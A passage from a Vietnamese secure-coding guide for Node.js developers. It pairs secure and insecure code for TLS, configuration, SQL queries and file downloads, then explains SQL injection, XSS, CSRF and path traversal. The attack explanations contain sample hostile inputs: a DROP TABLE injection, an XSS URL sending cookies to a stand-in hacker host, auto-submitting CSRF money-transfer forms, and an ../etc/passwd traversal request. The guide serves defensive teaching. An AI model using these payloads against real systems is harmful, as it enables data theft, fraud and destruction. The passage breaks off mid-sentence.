hiện truy cập tới website khác.",[11,21782,21783],{},"Khi các hệ thống bên ngoài thực hiện kết nối và truy cập thông tin tới hệ thống của chúng ta cần đảm bảo có kết nối TLS",[11,21785,21786],{},"Thực hiện mã hóa để truyền tất cả các thông tin nhạy cảm sử dụng TLS cho việc mã hóa đường truyền giúp bảo vệ kết nối",[11,21788,21789],{},"Cần thiết lập cho website luôn sử dụng kết nối TLS cho tất cả nội dung yêu cầu quyền truy cập được xác thực và cho tất cả các thao tác truy cập",[11,21791,21792],{},"Có thể sử dụng bộ ký tự encode UTF-8 cho kết nối mã hóa",[11,21794,21388],{},[11,21796,21797],{},[20,21798,21442],{},[696,21800,21803],{"className":21801,"code":21802,"language":701},[699],"const https = require('https'); \nconst fs = require('fs'); \nconst express = require('express'); \nconst port = 443; \nconst app = express(); \n  \napp.get('\u002Fsecure', (req, res) => {\n  console.log('Dữ liệu được truyền tải an toàn.');\n  res.redirect('https:\u002F\u002Fexample.com'); \n});\n \n\u002F\u002F Tạo server HTTPS\nhttps.createServer({\n key: fs.readFileSync('\u002Fpath\u002Fto\u002Fprivate-key.pem'), \n cert: fs.readFileSync('\u002Fpath\u002Fto\u002Fcertificate.pem')\n}, app).listen(port);\n",[703,21804,21802],{"__ignoreMap":66},[11,21806,21807,21808,21812],{},"Trong ví dụ trên, chúng ta đã sử dụng module https để tạo một máy chủ sử dụng giao thức HTTPS. Khi người dùng thực hiện truy cập đến route \u002Fsecure, dữ liệu sẽ được truyền tải an toàn qua giao thức HTTPS và redirect đến một domain ",[58,21809,21810],{"href":21810,"rel":21811},"https:\u002F\u002Fexample.com",[62],", đảm bảo thông tin không thể bị đánh cắp hoặc hiệu chỉnh trong quá trình truyền tải và HTTP referer không chứa thông tin nhạy cảm.",[11,21814,21815],{},[20,21816,21456],{},[696,21818,21821],{"className":21819,"code":21820,"language":701},[699],"const https = require('https'); \nconst fs = require('fs'); \nconst express = require('express'); \nconst port = 443; \nconst app = express(); \n \napp.get('\u002Fsecure?session_id=xxx', (req, res) => { \n  res.redirect('https:\u002F\u002Fexample.com'); \n});\n \n\u002F\u002F Tạo server HTTPS\nhttps.createServer({\nkey: fs.readFileSync('\u002Fpath\u002Fto\u002Fprivate-key.pem'), \ncert: fs.readFileSync('\u002Fpath\u002Fto\u002Fcertificate.pem')\n}, app).listen(port);\n",[703,21822,21820],{"__ignoreMap":66},[11,21824,21825,21826,21829,21830,974],{},"Trong ví dụ trên, khi người dùng thực hiện truy cập đến route \u002Fsecure  sẽ redirect đến một domain ",[58,21827,21810],{"href":21810,"rel":21828},[62],", lúc này HTTP referer có chứa thông tin nhạy cảm là session_id và có thể truy xuất từ domain ",[58,21831,21810],{"href":21810,"rel":21832},[62],[657,21834,21836],{"id":21835},"system-configuration","System Configuration",[11,21838,21839],{},"Cần có hệ thống quản lý mã nguồn, lịch sử phiên bản, lịch sử thay đổi, log thay đổi tất cả các thành phần trong hệ thống để quản lý một cách dễ dàng và hạn chế rủi ro bảo mật.",[11,21841,21842],{},"Các môi trường dev, test, production cần được thiết lập để cô lập và không sử dụng chung tài nguyên, cơ sở dữ liệu. Giúp kiểm soát tốt dữ liệu cũng như tránh nguy cơ tấn công hệ thống test rồi tấn công hệ thống production.",[11,21844,21845],{},"Xóa thông tin không cần thiết khỏi HTTP response liên quan đến hệ điều hành, phiên bản máy chủ web, thông tin debug hay mã nguồn giúp chống kẻ tấn công thu thập và làm cơ sở để tấn công sâu hơn vào webisite.",[11,21847,21848],{},"Xóa các đoạn code test hay debug trong mã nguồn hoặc bất kỳ chức năng nào không dùng cho production trước khi triển khai.",[11,21850,21851],{},"Cần tắt chức năng Directory listing trên web server giúp hạn chế việc lộ ra các file nhạy cảm, các file chứa thông tin quan trọng.",[11,21853,21854],{},"Đảm bảo server, OS, framework và các thành phần của hệ thống đang sử dụng phiên bản an toàn không có lỗ hổng bảo mật, tốt nhất là sử dụng phiên bản mới nhất.",[11,21856,21857],{},"Đảm bảo server, OS, framework và các thành phần của hệ thống luôn được cập nhật các bản vá bảo mật từ nhà phát triển để hạn chế việc hackers khai thác từ các mã khai thác bảo mật đã được public.",[11,21859,21388],{},[11,21861,21862],{},[20,21863,21442],{},[696,21865,21868],{"className":21866,"code":21867,"language":701},[699],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Đọc biến môi trường cho cấu hình cơ sở dữ liệu \nconst dbConfig = { \n  host: process.env.DB_HOST, \n  username: process.env.DB_USERNAME, \n  password: process.env.DB_PASSWORD, \n  database: process.env.DB_DATABASE' \n}; \n \n\u002F\u002F Thực hiện kết nối cơ sở dữ liệu\nfunction connectToDatabase(config) { \n  \u002F\u002F Viết code kết nối đến cơ sở dữ liệu ở đây\n} \n \nconnectToDatabase(dbConfig); \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21869,21867],{"__ignoreMap":66},[11,21871,21872],{},"Trong ví dụ trên, chúng ta đã sử dụng biến môi trường để lưu trữ thông tin cấu hình cơ sở dữ liệu như: DB_HOST, DB_USERNAME, DB_PASSWORD, và DB_DATABASE. Bằng cách sử dụng biến môi trường, chúng ta có thể dễ dàng điều chỉnh cấu hình của hệ thống không cần sửa đổi mã nguồn và giúp giảm nguy cơ bị lộ thông tin quan trọng như mật khẩu trong mã nguồn, tạo điều kiện thuận lợi cho việc quản lý cấu hình và triển khai an toàn hơn.",[11,21874,21875],{},[20,21876,21456],{},[696,21878,21881],{"className":21879,"code":21880,"language":701},[699],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\nconst dbConfig = { \n host: 'host', \n username: 'username', \n password: 'password', \n database: 'database' \n}; \n\n\u002F\u002F Thực hiện kết nối cơ sở dữ liệu\nfunction connectToDatabase(config) { \n \u002F\u002F Viết code kết nối đến cơ sở dữ liệu ở đây\n} \n\nconnectToDatabase(dbConfig); \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21882,21880],{"__ignoreMap":66},[11,21884,21885],{},"Trong ví dụ trên, chúng ta không sử dụng biến môi trường để lưu trữ thông tin cấu hình cơ sở dữ liệu mà viết giá trị trực tiếp trong code. Nếu viết như cách này thì khi điều chỉnh cấu hình của hệ thống sẽ sửa đổi mã nguồn và có nguy cơ bị lộ thông tin quan trọng như mật khẩu trong mã nguồn, khó khăn cho việc quản lý cấu hình và triển khai một cách an toàn.",[657,21887,21889],{"id":21888},"database-security","Database Security",[11,21891,21892],{},"Mỗi tài khoản kết nối tới cơ sở dữ liệu cần được phân quyền rõ ràng, riêng biệt theo đúng chức năng, nhiệm vụ và quyền hạn.",[11,21894,21895],{},"Những tài khoản mặc định, tài khoản không sử dụng cho nhu cầu về yêu cầu hệ thống cần được loại bỏ khỏi hệ thống.",[11,21897,21898],{},"Thực hiện đóng cơ sở dữ liệu nếu không còn truy cập.",[11,21900,21901],{},"Các chuỗi kết nối cơ sở dữ liệu cần được lưu trữ trong các file config riêng biệt và cần được mã hóa an toàn bằng các thuật toán mã hóa mạnh.",[11,21903,21904],{},"Tài khoản\u002Fmật khẩu truy cập cơ sở dữ liệu cần đủ mạnh, không sử dụng các thông tin mặc định hoặc dễ đoán.",[11,21906,21907],{},"Cơ sở dữ liệu cần chạy với user với quyền thấp nhât, được phân quyền rõ ràng và chỉ có thể truy cập tới cơ sở dữ liệu nhất định giúp ngăn chặn tấn công và khai thác dữ liệu của cơ sở dữ liệu khác.",[11,21909,21910],{},"Cần xác thực dữ liệu đầu vào trước khi thực hiện truyền vào câu truy vấn.",[11,21912,21913],{},"Sử dụng tham số cho câu lệnh truy vấn SQL giúp cho truy vấn và dữ liệu được tách biệt. Thay vì nối chuỗi trong truy vấn SQL, các tham số được truyền vào thông các biến. Việc này giúp chống lại lỗi SQL Injection khi người dùng truyền vào những dữ liệu độc hại.",[11,21915,21388],{},[11,21917,21918],{},[20,21919,21442],{},[696,21921,21924],{"className":21922,"code":21923,"language":701},[699],"const express = require('express'); \nconst mysql = require('mysql'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Kết nối đến cơ sở dữ liệu \nconst db = mysql.createConnection({ \n  host: 'localhost', \n  user: 'username', \n  password: 'password', \n  database: 'mydb' \n}); \n \ndb.connect(err => {\n  if (err) {\n    console.error('Lỗi kết nối cơ sở dữ liệu:', err); return; \n  } \n  console.log('Đã kết nối đến cơ sở dữ liệu.'); \n}); \n \napp.use(express.json()); \n \n\u002F\u002F Tạo sách mới \napp.post('\u002Fbook', (req, res) => { \n  const { title, author } = req.body; \n  const query = 'INSERT INTO books (title, author) VALUES (?, ?)'; \n  db.query(query, [title, author], (err, result) => { \n    if (err) { \n      return res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n    } \n    return res.status(201).json({ message: 'Đã tạo thành công.' }); \n  }); \n}); \n \n\u002F\u002F Lấy danh sách\napp.get('\u002Fbook', (req, res) => { \n  const query = 'SELECT * FROM books where title = ?'; \n  db.query(query, [title],(err, result) => { \n    if (err) { \n      return res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n    } \n    return res.status(200).json(result); \n  }); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21925,21923],{"__ignoreMap":66},[11,21927,21928],{},"Trong ví dụ trên, chúng ta sử dụng thư viện mysql để kết nối và thao tác với cơ sở dữ liệu MySQL. Để đảm bảo bảo mật trong truy vấn SQL, chúng ta sử dụng tham số cho câu lệnh truy vấn SQL . Điều này giúp ngăn chặn các cuộc tấn công SQL injection bằng cách tránh việc người dùng truyền vào những dữ liệu độc hại vào truy vấn SQL.",[11,21930,21931],{},[20,21932,21456],{},[696,21934,21937],{"className":21935,"code":21936,"language":701},[699],"const express = require('express'); \nconst mysql = require('mysql'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Kết nối đến cơ sở dữ liệu \nconst db = mysql.createConnection({ \n host: 'localhost', \n user: 'username', \n password: 'password', \n database: 'mydb' \n}); \n \ndb.connect(err => {\n if (err) {\n   console.error('Lỗi kết nối cơ sở dữ liệu:', err); return; \n } \n console.log('Đã kết nối đến cơ sở dữ liệu.'); \n}); \n \napp.use(express.json()); \n \n\u002F\u002F Tạo sách mới \napp.post('\u002Fbook', (req, res) => { \n const { title, author } = req.body; \n const query = 'INSERT INTO books (title, author) VALUES (title, author)'; \n db.query(query, (err, result) => { \n   if (err) { \n     return res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n   } \n   return res.status(201).json({ message: 'Đã tạo thành công.' }); \n }); \n}); \n \n\u002F\u002F Lấy danh sách\napp.get('\u002Fbook', (req, res) => { \n const query = 'SELECT * FROM books where title =' + title; \n db.query(query, (err, result) => { \n   if (err) { \n     return res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n   } \n   return res.status(200).json(result); \n }); \n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21938,21936],{"__ignoreMap":66},[11,21940,21941],{},"Trong ví dụ trên, thay vì sử dụng  tham số truyền vào cho câu lệnh truy vấn SQL nhưng chúng ta đang nối chuỗi trong câu truy vấn SQL . Điều này sẽ bị các cuộc tấn công SQL injection.",[657,21943,21945],{"id":21944},"file-management","File Management",[11,21947,21948],{},"Nên thực hiện phân quyền thư mục file là : read-only để tránh những sửa đổi trái phép từ kẻ tấn công",[11,21950,21951],{},"Không trả về đường dẫn tuyệt đối (Ví dụ: \u002Fvar\u002Fwww\u002Fhtml\u002Fuploads\u002Ftest.jpg) vì kẻ tấn công có thể biết được đường dẫn tuyệt đối của website từ đó thực hiện tấn công các lỗ hổng khác. Chỉ trả về tên file hoặc đường dẫn thư mục chứa file (\u002Fuploads\u002Ftest.jpg)",[11,21953,21954],{},"Không lưu trữ file cùng với server chạy dịch vụ web. Thực hiện lưu trữ file ở một server riêng biệt hoặc sử dụng dịch vụ lưu trữ file của bên thứ 3 như Amazon S3.",[11,21956,21957],{},"Giới hạn các loại file (header file) được phép upload lên server. Đối với các chức năng upload cần white list các file-header được upload phù hợp với yêu cầu về chức năng( Ví dụ: Chức năng upload avatar chỉ cho phép Content-type là: image\u002Fjpeg và image\u002Fpng).",[11,21959,21960],{},"Yêu cầu xác thực trước khi cho người dùng có thể thực hiện upload. Việc xác thực người dùng giúp hạn chế việc upload trái phép các file độc hại cũng như phục vụ quá trình truy vết người dùng khi có tấn công xảy ra.",[11,21962,21963],{},"Giới hạn các loại file (extension file) được phép upload lên server. Đối với các chức năng upload cần white list các file được upload phù hợp với yêu cầu về chức năng( Ví dụ: Chức năng upload avatar chỉ cho phép: png và jpg).",[11,21965,21966],{},"Sử dụng trình quét virus để kiểm tra file người dùng upload. Việc này giúp loại bỏ các file độc hại, virus mà người dùng upload lên.",[11,21968,21388],{},[11,21970,21971],{},[20,21972,21442],{},[696,21974,21977],{"className":21975,"code":21976,"language":701},[699],"const express = require('express'); \nconst fs = require('fs'); \nconst path = require('path'); \nconst app = express(); \nconst port = 3000; \n \napp.use(express.json()); \napp.use(express.static('public')); \n \n\u002F\u002F Tải xuống tệp tin \napp.get('\u002Fdownload\u002F:filename', (req, res) => { \n const requestedFile = req.params.filename; \n  if (!\u002F^[a-zA-Z0-9._-]+$\u002F.test(requestedFile)) { \n    return res.status(400).send('filename không hợp lệ'); \n  }\n \n  const filePath = path.join(__dirname, 'uploads', requestedFile); \n  if (!fs.existsSync(filePath)) { \n    return res.status(404).json({ error: 'Tệp tin không tồn tại.' }); \n  } \n \n  const fileStream = fs.createReadStream(filePath); \n  res.setHeader('Content-Disposition', `attachment; filename=${requestedFile}`); \n  fileStream.pipe(res); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21978,21976],{"__ignoreMap":66},[11,21980,21981],{},"Trong ví dụ trên, khi tải xuống file, chúng ta sử dụng phương thức res.setHeader() để đặt tiêu đề \"Content-Disposition\" trong phản hồi HTTP. Điều này chỉ định rằng file sẽ được tải xuống dưới dạng tệp đính kèm với tên file chỉ định. Khi sử dụng tệp đính kèm như vậy, người dùng sẽ nhận được file mà không thể biết được đường dẫn tuyệt đối của nó trên máy chủ. Điều này giúp bảo vệ thông tin về cấu trúc hệ thống và ngăn chặn các cuộc tấn công dựa trên việc biết đường dẫn file tuyệt đối.",[11,21983,21984],{},[20,21985,21456],{},[696,21987,21990],{"className":21988,"code":21989,"language":701},[699],"const express = require('express'); \nconst fs = require('fs');\nconst path = require('path'); \nconst app = express(); \nconst port = 3000;\n \napp.use(express.static('public'));\n \n\u002F\u002F Tải xuống tệp tin \napp.get('\u002Fdownload\u002F:filename', (req, res) => { \n  const requestedFile = req.params.filename; \n  const filePath = path.join(__dirname, 'uploads', requestedFile); \n  if (!fs.existsSync(filePath)) { \n    return res.status(404).json({ error: 'Tệp tin không tồn tại.' }); \n  } \n \n  res.download(filePath, requestedFile, err => { \n    if (err) { \n      console.error('Lỗi khi tải xuống tệp tin:', err); \n      return res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n    } \n  });\n});\n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21991,21989],{"__ignoreMap":66},[11,21993,21994],{},"Trong ví dụ trên sẽ trả về đường dẫn tuyệt đối của file.",[498,21996,21998],{"id":21997},"các-lỗi-tấn-công-phổ-biến-và-cách-phòng-tránh","Các lỗi tấn công phổ biến và cách phòng tránh",[657,22000,22002],{"id":22001},"sql-injection","SQL Injection",[11,22004,22005],{},"SQL Injection là kỹ thuật lợi dụng lỗ hổng truy vấn của các ứng dụng. Nó được thực hiện bằng cách chèn một đoạn mã SQL nhằm làm sai lệch câu truy vấn ban đầu, từ đó có thể khai thác dữ liệu từ cơ sở dữ liệu, tạo lỗi hoặc làm hỏng dữ liệu của hệ thống.",[11,22007,22008],{},"Ví dụ: Chúng ta có 1 function như sau:",[696,22010,22013],{"className":22011,"code":22012,"language":701},[699],"const getUserByUserName = (userName: string) => {\n\n const query = 'SELECT * FROM Users WHERE userName = ’ + userName;\n\n return query.excute();\n\n}\n",[703,22014,22012],{"__ignoreMap":66},[11,22016,22017],{},"Khi người dùng truyền userName = 'abc' or '1'='1' thì câu SQL sẽ như sau:",[696,22019,22022],{"className":22020,"code":22021,"language":701},[699],"SELECT * FROM Users WHERE userName = 'abc' or '1'='1';\n",[703,22023,22021],{"__ignoreMap":66},[11,22025,22026],{},"Với câu lệnh SQL này thì luôn luôn đúng và trả về tất cả thông tin trong bảng Users.",[11,22028,22029],{},"Trường hợp khác người dùng truyền userName = 'abc'; DROP TABLE Users; câu lệnh SQL sẽ trông như thế này:",[696,22031,22034],{"className":22032,"code":22033,"language":701},[699],"SELECT* FROM Users WHERE userName = 'abc';\nDROP TABLE Users;\n",[703,22035,22033],{"__ignoreMap":66},[11,22037,22038],{},"Với lệnh này, bảng Users sẽ bị xóa, và rất nguy hiểm.",[11,22040,22041],{},[20,22042,22043],{},"Cách phòng tránh",[201,22045,22046,22049,22052],{},[34,22047,22048],{},"Kiểm tra đầu vào của người dùng: Có thể dùng Regular Expression để loại bỏ đi các ký tự lạ hoặc các ký tự không phải là số và chữ.",[34,22050,22051],{},"Không cộng chuỗi để tạo SQL: Sử dụng tham số thay vì cộng chuỗi. Nếu dữ liệu nhập vào không hợp pháp thì SQL Engine sẽ tự động báo lỗi, ta không cần dùng code để kiểm tra.",[34,22053,22054],{},"Hạn chế viết SQL thuần, nên sử dụng thư viện ORM (Object-Relational Mapping) framework, framework này sẽ tự tạo câu lệnh SQL nên sẽ an toàn hơn.",[657,22056,22058],{"id":22057},"cross-site-scripting-xss","Cross-Site Scripting (XSS)",[11,22060,22061],{},"Cross-Site Scripting (XSS) là một hình thức tấn công bằng mã độc phổ biến. Các hackers sẽ lợi dụng lỗ hổng trong bảo mật web để chèn các mã script để thực thi chúng ở phía Client. Thông thường, các cuộc tấn công XSS được sử dụng để vượt qua truy cập và mạo danh người dùng. Mục đích chính của cuộc tấn công này là đánh cắp dữ liệu nhận dạng của người dùng như: cookies, session tokens và các thông tin khác.",[11,22063,22064],{},"Có 3 loại tấn công XSS chính như sau:",[201,22066,22067,22095,22103],{},[34,22068,22069,22070],{},"Reflected XSS\n",[31,22071,22072,22075],{},[34,22073,22074],{},"Là hình thức tấn công sử dụng mã script độc hại đến từ HTTP request. Từ đó, hackers đánh cắp dữ liệu của người dùng và chiếm quyền truy cập và hoạt động của họ trên website thông qua việc chia sẻ URL chứa mã độc.",[34,22076,22077,22078],{},"Ví dụ:\n",[31,22079,22080,22089,22092],{},[34,22081,22082,22083],{},"Khi truy cập website, người dùng không biết hoặc vô tình click vào hình ảnh, quảng cáo có đường dẫn độc hại sau:",[696,22084,22087],{"className":22085,"code":22086,"language":701},[699],"http:\u002F\u002Fuser.com\u002Fname=var+i=new+Image;+i.src=”http:\u002F\u002Fabc-hacker.com\u002F”%2Bdocument.cookie;\n",[703,22088,22086],{"__ignoreMap":66},[34,22090,22091],{},"Lúc này, hackers chỉ cần kiểm tra request gửi đến server của mình để nhận cookie của người dùng và sử dụng nó để chiếm đoạt phiên đăng nhập của người dùng.",[34,22093,22094],{},"Đặc điểm của loại XSS này là hackers phải gửi link chứa mã độc cho người dùng và lừa được người dùng truy cập vào link này. Mã độc sẽ được thực thi ngay khi người dùng truy cập link.",[34,22096,22097,22098],{},"Stored XSS\n",[31,22099,22100],{},[34,22101,22102],{},"Là hình thức tấn công mà hackers chèn các mã độc vào cơ sở dữ liệu thông qua các dữ liệu đầu vào như input, textarea, form,… mà không được kiểm tra kỹ. Khi người dùng truy cập và tiến hành những thao tác liên quan đến dữ liệu đã lưu thì mã độc sẽ lập tức hoạt động trên trình duyệt.",[34,22104,22105,22106],{},"DOM-based XSS\n",[31,22107,22108],{},[34,22109,22110],{},"Là nơi lỗ hổng bảo mật tồn tại trong mã phía client, chứ không phải mã phía server. Hình thức này dùng để khai thác XSS dựa vào việc thay đổi HTML của tài liệu, hay nói cách khác là thay đổi cấu trúc DOM.",[11,22112,22113],{},[20,22114,22043],{},[201,22116,22117,22120,22123],{},[34,22118,22119],{},"Data validation (xác định đầu vào): Đảm bảo dữ liệu đầu vào do người dùng cung cấp là chính xác.",[34,22121,22122],{},"Filtering (lọc đầu vào người dùng): Phương pháp này giúp tìm ra những từ khóa nguy hiểm trong đầu vào của người dùng để kịp thời thay thế hoặc loại bỏ chúng.",[34,22124,22125],{},"Escape: Đây là cách ngăn chặn XSS tương đối hiệu quả bằng cách thay đổi các ký tự bằng mã đặc biệt có thể sử dụng thư viện Escape thích hợp.",[657,22127,22129],{"id":22128},"cross-site-request-forgery-csrf",[20,22130,22131],{},"Cross-Site Request Forgery (CSRF)",[11,22133,22134],{},"Cross Site Request Forgery (CSRF ) là một cuộc tấn công buộc người dùng thực hiện các hành động không mong muốn trên một ứng dụng web mà họ hiện đang được xác thực. Với một chút trợ giúp của Social Engineering (còn gọi là tấn công phi kỹ thuật chẳng hạn như gửi liên kết qua email hoặc trò chuyện), kẻ tấn công có thể lừa người dùng ứng dụng web thực hiện các hành động do kẻ tấn công lựa chọn.",[11,22136,22137],{},"Ví dụ: user1 đã đăng nhập vào ngân hàng muốn chuyển tiền cho user2 là 1000$, user3 là người tấn công muốn user1 chuyển tiền cho mình thì sẽ như sau:",[11,22139,22140],{},"Nếu ứng dụng được thiết kế sử dụng yêu cầu GET để chuyển các tham số và thực hiện các hành động chuyển tiền thì một yêu cầu như:",[696,22142,22145],{"className":22143,"code":22144,"language":701},[699]," http:\u002F\u002Fbank.com\u002Ftransfer?account=user2&amount=1000\n",[703,22146,22144],{"__ignoreMap":66},[11,22148,22149],{},"Bây giờ user3 quyết định khai thác lỗ hổng ứng dụng web này bằng cách sử dụng user1 làm nạn nhân. Trước tiên, user3 xây dựng URL khai thác sau đây sẽ chuyển 200.000$ từ tài khoản của user1 sang tài khoản của mình. user3 lấy URL lệnh ban đầu và thay thế tên người thụ hưởng bằng chính mình, đồng thời tăng số tiền chuyển khoản lên đáng kể như sau:",[696,22151,22154],{"className":22152,"code":22153,"language":701},[699],"http:\u002F\u002Fbank.com\u002Ftransfer?account=user3&amount=200000\n",[703,22155,22153],{"__ignoreMap":66},[11,22157,22158],{},"Sau đó user3 gửi một email không mong muốn với nội dung HTML hoặc đặt một URL trên các trang mà nạn nhân có thể truy cập khi họ cũng đang thực hiện giao dịch ngân hàng trực tuyến. URL khai thác có thể được ngụy trang dưới dạng một liên kết thông thường, khuyến khích nạn nhân nhấp vào liên kết đó:",[696,22160,22163],{"className":22161,"code":22162,"language":701},[699],"\u003Ca href=\"http:\u002F\u002Fbank.com\u002Ftransfer.do?acct=user3&amount=200000\">Click vào xem ảnh\u003C\u002Fa>\nHay như ảnh:\n\u003Cimg src=\"http:\u002F\u002Fbank.com\u002Ftransfer?account=user3&amount=200000\" width=\"0\" height=\"0\" border=\"0\">\n",[703,22164,22162],{"__ignoreMap":66},[11,22166,22167],{},"Nếu thẻ hình ảnh này được bao gồm trong email, user1 sẽ không thấy gì cả. Tuy nhiên, trình duyệt sẽ vẫn gửi yêu cầu tới bank.com mà không có bất kỳ dấu hiệu trực quan nào cho thấy việc chuyển tiền đã diễn ra.",[11,22169,22170],{},[20,22171,22172],{},"Trường hợp khác",[11,22174,22175],{},"Giả sử ngân hàng hiện đang sử dụng POST và yêu cầu dễ bị tấn công trông như thế này:",[696,22177,22180],{"className":22178,"code":22179,"language":701},[699],"POST http:\u002F\u002Fbank.com\u002Ftransfer\naccount=user2&amount=1000\n",[703,22181,22179],{"__ignoreMap":66},[11,22183,22184],{},"Yêu cầu như vậy không thể được gửi bằng thẻ \u003Ca> hoặc \u003Cimg> tiêu chuẩn, nhưng có thể được gửi bằng thẻ \u003Cform> như sau:",[696,22186,22189],{"className":22187,"code":22188,"language":701},[699],"\u003Cform action=\"http:\u002F\u002Fbank.com\u002Ftransfer\" method=\"POST\"> \n  \u003Cinput type=\"hidden\" name=\"account\" value=\"user3\"\u002F>\n  \u003Cinput type=\"hidden\" name=\"amount\" value=\"200000\"\u002F>\n  \u003Cinput type=\"submit\" value=\"submit\"\u002F>\n\u003C\u002Fform>\n",[703,22190,22188],{"__ignoreMap":66},[11,22192,22193],{},"Biểu mẫu này sẽ yêu cầu người dùng nhấp vào nút gửi, nhưng điều này cũng có thể được thực thi tự động bằng JavaScript:",[696,22195,22198],{"className":22196,"code":22197,"language":701},[699],"\u003Cbody onload=\"document.forms[0].submit()\">\n  \u003Cform action=\"http:\u002F\u002Fbank.com\u002Ftransfer\" method=\"POST\"> \n    \u003Cinput type=\"hidden\" name=\"account\" value=\"user3\"\u002F>\n    \u003Cinput type=\"hidden\" name=\"amount\" value=\"200000\"\u002F>\n    \u003Cinput type=\"submit\" value=\"submit\"\u002F>\n  \u003C\u002Fform>\n\u003C\u002Fbody>\n",[703,22199,22197],{"__ignoreMap":66},[11,22201,22202],{},[20,22203,22043],{},[31,22205,22206,22225],{},[34,22207,22208,22211],{},[20,22209,22210],{},"Phía user",[31,22212,22213,22216,22219,22222],{},[34,22214,22215],{},"Nên đăng xuất khỏi các website quan trọng như: Tài khoản ngân hàng, thanh toán trực tuyến, các mạng xã hội, gmail,… khi đã thực hiện xong giao dịch.",[34,22217,22218],{},"Không nên click vào các đường dẫn không rõ mà bạn nhận được qua email, facebook... hoặc mở xem các email lạ.",[34,22220,22221],{},"Không lưu các thông tin về mật khẩu tại trình duyệt của mình (không nên chọn các phương thức \"đăng nhập lần sau\", \"lưu mật khẩu\").",[34,22223,22224],{},"Trong quá trình thực hiện giao dịch hay vào các website quan trọng không nên vào các website khác, có thể chứa các mã khai thác của kẻ tấn công.",[34,22226,22227,22230],{},[20,22228,22229],{},"Phía server",[31,22231,22232,22235,22238,22241],{},[34,22233,22234],{},"Sử dụng GET và POST đúng cách. Dùng GET nếu thao tác là truy vấn dữ liệu. Dùng POST nếu các thao tác tạo ra sự thay đổi hệ thống. Nếu ứng dụng của bạn theo chuẩn RESTful, bạn có thể dùng thêm các HTTP verbs, như PATCH, PUT hoặc DELETE.",[34,22236,22237],{},"Captcha được sử dụng để nhận biết đối tượng đang thao tác với hệ thống là con người hay không. Các thao tác quan trọng như \"đăng nhập\" hay là \"chuyển khoản\" ,\"thanh toán\" thường là được sử dụng captcha.",[34,22239,22240],{},"Sử dụng cookie riêng biệt cho trang quản trị",[34,22242,22243],{},"Kiểm tra IP: Một số hệ thống quan trọng chỉ cho truy cập từ những IP được thiết lập sẵn",[657,22245,22247],{"id":22246},"path-traversal",[20,22248,22249],{},"Path Traversal",[11,22251,22252],{},"Path traversal là một lỗ hổng web cho phép kẻ tấn công truy cập các file và thư mục được lưu trữ bên ngoài thư mục gốc của web, đọc các file không mong muốn trên server. Nó dẫn đến việc bị lộ thông tin nhạy cảm của ứng dụng như thông tin đăng nhập, một số file hoặc thư mục của hệ điều hành. Trong một số trường hợp cũng có thể ghi vào các files trên server, cho phép kẻ tấn công có thể thay đổi dữ liệu hay thậm chí là chiếm quyền điều khiển server.",[11,22254,22255],{},"Ví dụ:",[11,22257,22258],{},"Một ứng dụng load ảnh như sau:",[696,22260,22263],{"className":22261,"code":22262,"language":701},[699],"\u003Cimg src=\"\u002FloadImage?filename=image-logo.png\">\n",[703,22264,22262],{"__ignoreMap":66},[11,22266,22267],{},"Khi chúng ta gửi một request với một param filename=image-logo.png thì sẽ trả về nội dung của file được chỉ định với file hình ảnh ở \u002Fvar\u002Fwww\u002Fimages\u002Fimage-logo.png",[11,22269,22270],{},"Lúc này ứng dụng không thực hiện việc phòng thủ cuộc tấn công path traversal, kẻ tấn công có thể thực hiện một yêu cầu tùy ý để có thể đọc các file trong hệ thống.",[11,22272,22273],{},"ví dụ:",[696,22275,22278],{"className":22276,"code":22277,"language":701},[699],"https:\u002F\u002Fhostname\u002FloadImage?filename=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n",[703,22279,22277],{"__ignoreMap":66},[11,22281,22282],{},"Khi đó ứng dụng sẽ đọc file với đường dẫn là \u002Fvar\u002Fwww\u002Fimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd với mỗi ..\u002F là trở về thư mục cha của thư mục hiện tại. Như vậy với ..\u002F..\u002F..\u002F thì từ thư mục \u002Fvar\u002Fwww\u002Fimages\u002F đã trở về thư mục gốc và file \u002Fetc\u002Fpasswd chính là file được đọc.",[11,22284,22285],{},"Trên các hệ điều hành Linux thì \u002Fetc\u002Fpasswd\u002F là một file chứa thông tin về các người dùng.",[11,22287,22288],{},"Sau khi đọc được file \u002Fetc\u002Fpasswd\u002F nó sẽ trông như thế này",[533,22290],{"className":22291,"alt":66,"src":22292,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F21090548\u002Fsecure-coding-3.png",[11,22294,22295],{},"Ngoài file \u002Fetc\u002Fpasswd\u002F này thì kẻ tấn công có thể thực hiện một yêu cầu tùy ý để có thể đọc các file và thư mục khác trong hệ thống.",[11,22297,22298],{},[20,22299,22043],{},[201,22301,22302,22305,22308,22311],{},[34,22303,22304],{},"Nên xác thực đầu vào của người dùng trước khi xử lý.",[34,22306,22307],{},"Không lưu trữ các file cấu hình nhạy cảm bên trong thư mục gốc của web.",[34,22309,22310],{},"Sử dụng whitelist cho những giá trị được cho phép hoặc tên file là những kí tự số,chữ không nên chứa những ký tự đặc biệt.",[34,22312,22313],{},"Về file có thể sử dụng Amazon S3 để lưu trữ và truy xuất.",[657,22315,22317],{"id":22316},"insecure-direct-object-references-idor","Insecure Direct Object References (IDOR)",[11,22319,22320],{},"Insecure Direct Object References (IDOR) là lỗ hổng xảy ra khi chương trình cho phép người dùng truy trái phép các tài nguyên (dữ liệu, file, thư mục, database) một cách bất hợp pháp thông qua dữ liệu do người dùng cung 